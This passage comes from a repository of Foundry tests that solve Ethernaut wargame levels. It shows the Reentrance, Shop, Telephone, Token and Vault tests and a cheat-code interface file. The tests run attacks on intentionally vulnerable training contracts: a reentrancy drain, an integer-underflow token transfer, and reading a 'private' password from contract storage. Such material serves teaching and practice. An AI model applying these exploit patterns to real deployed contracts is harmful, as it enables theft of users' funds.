| 32 | ////////////////// 33 | // LEVEL ATTACK // 34 | ////////////////// 35 | 36 | // Create ReentranceHack contract 37 | ReentranceHack reentranceHack = new ReentranceHack(levelAddress); 38 | 39 | // Call the attack function to drain the contract 40 | reentranceHack.attack{value: 0.4 ether}(); 41 | 42 | ////////////////////// 43 | // LEVEL SUBMISSION // 44 | ////////////////////// 45 | 46 | bool levelSuccessfullyPassed = ethernaut.submitLevelInstance(payable(levelAddress)); 47 | vm.stopPrank(); 48 | assert(levelSuccessfullyPassed); 49 | } 50 | } -------------------------------------------------------------------------------- /src/test/Shop.t.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8.10; 2 | 3 | import "ds-test/test.sol"; 4 | import "../Shop/ShopHack.sol"; 5 | import "../Shop/ShopFactory.sol"; 6 | import "../Ethernaut.sol"; 7 | import "./utils/vm.sol"; 8 | 9 | contract ShopTest is DSTest { 10 | Vm vm = Vm(address(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D)); 11 | Ethernaut ethernaut; 12 | 13 | function setUp() public { 14 | // Setup instance of the Ethernaut contract 15 | ethernaut = new Ethernaut(); 16 | } 17 | 18 | function testShopHack() public { 19 | ///////////////// 20 | // LEVEL SETUP // 21 | ///////////////// 22 | 23 | ShopFactory shopFactory = new ShopFactory(); 24 | ethernaut.registerLevel(shopFactory); 25 | vm.startPrank(tx.origin); 26 | address levelAddress = ethernaut.createLevelInstance(shopFactory); 27 | Shop ethernautShop = Shop(payable(levelAddress)); 28 | 29 | ////////////////// 30 | // LEVEL ATTACK // 31 | ////////////////// 32 | 33 | // Create ShopHack Contract 34 | ShopHack shopHack = new ShopHack(ethernautShop); 35 | 36 | // attack Shop contract. 37 | shopHack.attack(); 38 | 39 | ////////////////////// 40 | // LEVEL SUBMISSION // 41 | ////////////////////// 42 | 43 | bool levelSuccessfullyPassed = ethernaut.submitLevelInstance(payable(levelAddress)); 44 | vm.stopPrank(); 45 | assert(levelSuccessfullyPassed); 46 | } 47 | } 48 | -------------------------------------------------------------------------------- /src/test/Telephone.t.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8.10; 2 | 3 | import "ds-test/test.sol"; 4 | import "../Telephone/TelephoneHack.sol"; 5 | import "../Telephone/TelephoneFactory.sol"; 6 | import "../Ethernaut.sol"; 7 | import "./utils/vm.sol"; 8 | 9 | contract TelephoneTest is DSTest { 10 | Vm vm = Vm(address(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D)); 11 | Ethernaut ethernaut; 12 | 13 | function setUp() public { 14 | // Setup instance of the Ethernaut contract 15 | ethernaut = new Ethernaut(); 16 | } 17 | 18 | function testTelephoneHack() public { 19 | 20 | ///////////////// 21 | // LEVEL SETUP // 22 | ///////////////// 23 | 24 | TelephoneFactory telephoneFactory = new TelephoneFactory(); 25 | ethernaut.registerLevel(telephoneFactory); 26 | vm.startPrank(tx.origin); 27 | address levelAddress = ethernaut.createLevelInstance(telephoneFactory); 28 | Telephone ethernautTelephone = Telephone(payable(levelAddress)); 29 | 30 | 31 | ////////////////// 32 | // LEVEL ATTACK // 33 | ////////////////// 34 | 35 | // Create TelephoneHack contract 36 | TelephoneHack telephoneHack = new TelephoneHack(levelAddress); 37 | // Call the attack function 38 | telephoneHack.attack(); 39 | 40 | ////////////////////// 41 | // LEVEL SUBMISSION // 42 | ////////////////////// 43 | 44 | bool levelSuccessfullyPassed = ethernaut.submitLevelInstance(payable(levelAddress)); 45 | vm.stopPrank(); 46 | assert(levelSuccessfullyPassed); 47 | } 48 | } -------------------------------------------------------------------------------- /src/test/Token.t.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8.10; 2 | 3 | import "ds-test/test.sol"; 4 | import "../Token/TokenFactory.sol"; 5 | import "../Ethernaut.sol"; 6 | import "./utils/vm.sol"; 7 | 8 | contract TokenTest is DSTest { 9 | Vm vm = Vm(address(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D)); 10 | Ethernaut ethernaut; 11 | address eoaAddress = address(100); 12 | 13 | function setUp() public { 14 | // Setup instance of the Ethernaut contract 15 | ethernaut = new Ethernaut(); 16 | // Deal EOA address some ether 17 | vm.deal(eoaAddress, 5 ether); 18 | } 19 | 20 | function testTokenHack() public { 21 | ///////////////// 22 | // LEVEL SETUP // 23 | ///////////////// 24 | 25 | TokenFactory tokenFactory = new TokenFactory(); 26 | ethernaut.registerLevel(tokenFactory); 27 | vm.startPrank(eoaAddress); 28 | address levelAddress = ethernaut.createLevelInstance(tokenFactory); 29 | Token ethernautToken = Token(payable(levelAddress)); 30 | vm.stopPrank(); 31 | 32 | ////////////////// 33 | // LEVEL ATTACK // 34 | ////////////////// 35 | 36 | // Change accounts from the level was set up with, have to call the transfer function from a different account 37 | vm.startPrank(address(1)); 38 | 39 | // Transfer maximum amount of tokens without causing an overflow 40 | ethernautToken.transfer(eoaAddress, (2**256 - 21)); 41 | 42 | // Switch back to original account 43 | vm.stopPrank(); 44 | vm.startPrank(eoaAddress); 45 | 46 | ////////////////////// 47 | // LEVEL SUBMISSION // 48 | ////////////////////// 49 | 50 | bool levelSuccessfullyPassed = ethernaut.submitLevelInstance(payable(levelAddress)); 51 | vm.stopPrank(); 52 | assert(levelSuccessfullyPassed); 53 | } 54 | } -------------------------------------------------------------------------------- /src/test/Vault.t.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8.10; 2 | 3 | import "ds-test/test.sol"; 4 | import "../Vault/VaultFactory.sol"; 5 | import "../Ethernaut.sol"; 6 | import "./utils/vm.sol"; 7 | 8 | contract VaultTest is DSTest { 9 | Vm vm = Vm(address(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D)); 10 | Ethernaut ethernaut; 11 | 12 | function setUp() public { 13 | // Setup instance of the Ethernaut contract 14 | ethernaut = new Ethernaut(); 15 | } 16 | 17 | function testVaultHack() public { 18 | ///////////////// 19 | // LEVEL SETUP // 20 | ///////////////// 21 | 22 | VaultFactory vaultFactory = new VaultFactory(); 23 | ethernaut.registerLevel(vaultFactory); 24 | vm.startPrank(tx.origin); 25 | address levelAddress = ethernaut.createLevelInstance(vaultFactory); 26 | Vault ethernautVault = Vault(payable(levelAddress)); 27 | 28 | ////////////////// 29 | // LEVEL ATTACK // 30 | ////////////////// 31 | 32 | // Cheat code to load contract storage at specific slot 33 | bytes32 password = vm.load(levelAddress, bytes32(uint256(1))); 34 | // Log bytes stored at that memory location 35 | emit log_bytes(abi.encodePacked(password)); 36 | 37 | 38 | // The following lines just convert from bytes32 to a string and logs it so you can see that the password we have obtained is correct 39 | uint8 i = 0; 40 | 41 | while(i < 32 && password[i] != 0) { 42 | i++; 43 | } 44 | bytes memory bytesArray = new bytes(i); 45 | for (i = 0; i < 32 && password[i] != 0; i++) { 46 | bytesArray[i] = password[i]; 47 | } 48 | 49 | emit log_string(string(bytesArray)); 50 | 51 | // Call the unlock function with the password we read from storage 52 | ethernautVault.unlock(password); 53 | 54 | ////////////////////// 55 | // LEVEL SUBMISSION // 56 | ////////////////////// 57 | 58 | bool levelSuccessfullyPassed = ethernaut.submitLevelInstance(payable(levelAddress)); 59 | vm.stopPrank(); 60 | assert(levelSuccessfullyPassed); 61 | } 62 | } -------------------------------------------------------------------------------- /src/test/utils/vm.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: Unlicense 2 | pragma solidity >=0.6.0; 3 | pragma experimental ABIEncoderV2; 4 | 5 | interface Vm { 6 | // Set block.timestamp (newTimestamp) 7 | function warp(uint256) external; 8 | // Set block.height (newHeight) 9 | function roll(uint256) external; 10 | // Set block.basefee (newBasefee) 11 | function fee(uint256) external; 12 | // Loads a storage slot from an address (who, slot) 13 | function load(address,bytes32) external returns (bytes32); 14 | // Stores a value to an address' storage slot, (who, slot, value) 15 | function store(address,bytes32,bytes32) external; 16 | // Signs data, (privateKey, digest) => (v, r, s) 17 | function sign(uint256,bytes32) external returns (uint8,bytes32,bytes32); 18 | // Gets address for a given private key, (privateKey) => (address) 19 | function addr(uint256) external returns (address); 20 | // Performs a foreign function call via terminal, (stringInputs) => (result) 21 | function ffi(string[] calldata) external returns (bytes memory); 22 | // Sets the *next* call's msg.sender to be the input address 23 | function prank(address) external; 24 | // Sets all subsequent calls' msg.sender to be the input address until `stopPrank` is called 25 | function startPrank(address) external; 26 | // Sets the *next* call's msg.sender to be the input address, and the tx.origin to be the second input 27 | function prank(address,address) external; 28 | // Sets all subsequent calls' msg.sender to be the input address until `stopPrank` is called, and the tx.origin to be the second input 29 | function startPrank(address,address) external; 30 | // Resets subsequent calls' msg.sender to be `address(this)` 31 | function stopPrank() external; 32 | // Sets an address' balance, (who, newBalance) 33 | function deal(address, uint256) external; 34 | // Sets an address' code, (who, newCode) 35 | function etch(address, bytes calldata) external; 36 | // Expects an error on next call 37 | function expectRevert(bytes calldata) external; 38 | function expectRevert(bytes4) external; 39 | // Record all storage reads and writes 40 | function record() external; 41 | // Gets all accessed reads and write slot from a recording session, for a given address 42 | function accesses(address) external returns (bytes32[] memory reads, bytes32[] memory writes); 43 | // Prepare an expected log with (bool checkTopic1, bool checkTopic2, bool checkTopic3, bool checkData). 44 | // Call this function, then emit an event, then call a function. Internally after the call, we check if 45 | // logs were emitted in the expected order with the expected topics and data (as specified by the booleans) 46 | function expectEmit(bool,bool,bool,bool) external; 47 | // Mocks a call to an address, returning specified data. 48 | // Calldata can either be strict or a partial match, e.g. if you only 49 | // pass a Solidity selector to the expected calldata, then the entire Solidity 50 | // function will be mocked. 51 | function mockCall(address,bytes calldata,bytes calldata) external; 52 | // Clears all mocked calls 53 | function clearMockedCalls() external; 54 | // Expect a call to an address with the specified calldata. 55 | // Calldata can either be strict or a partial match 56 | function expectCall(address,bytes calldata) external; 57 | // Gets the code from an artifact file. Takes in the relative path to the json file 58 | function getCode(string calldata) external returns (bytes memory); 59 | // Labels an address in call traces 60 | function label(address, string calldata) external; 61 | // If the condition is false, discard this run's fuzz inputs and generate new ones 62 | function assume(bool) external; 63 | } --------------------------------------------------------------------------------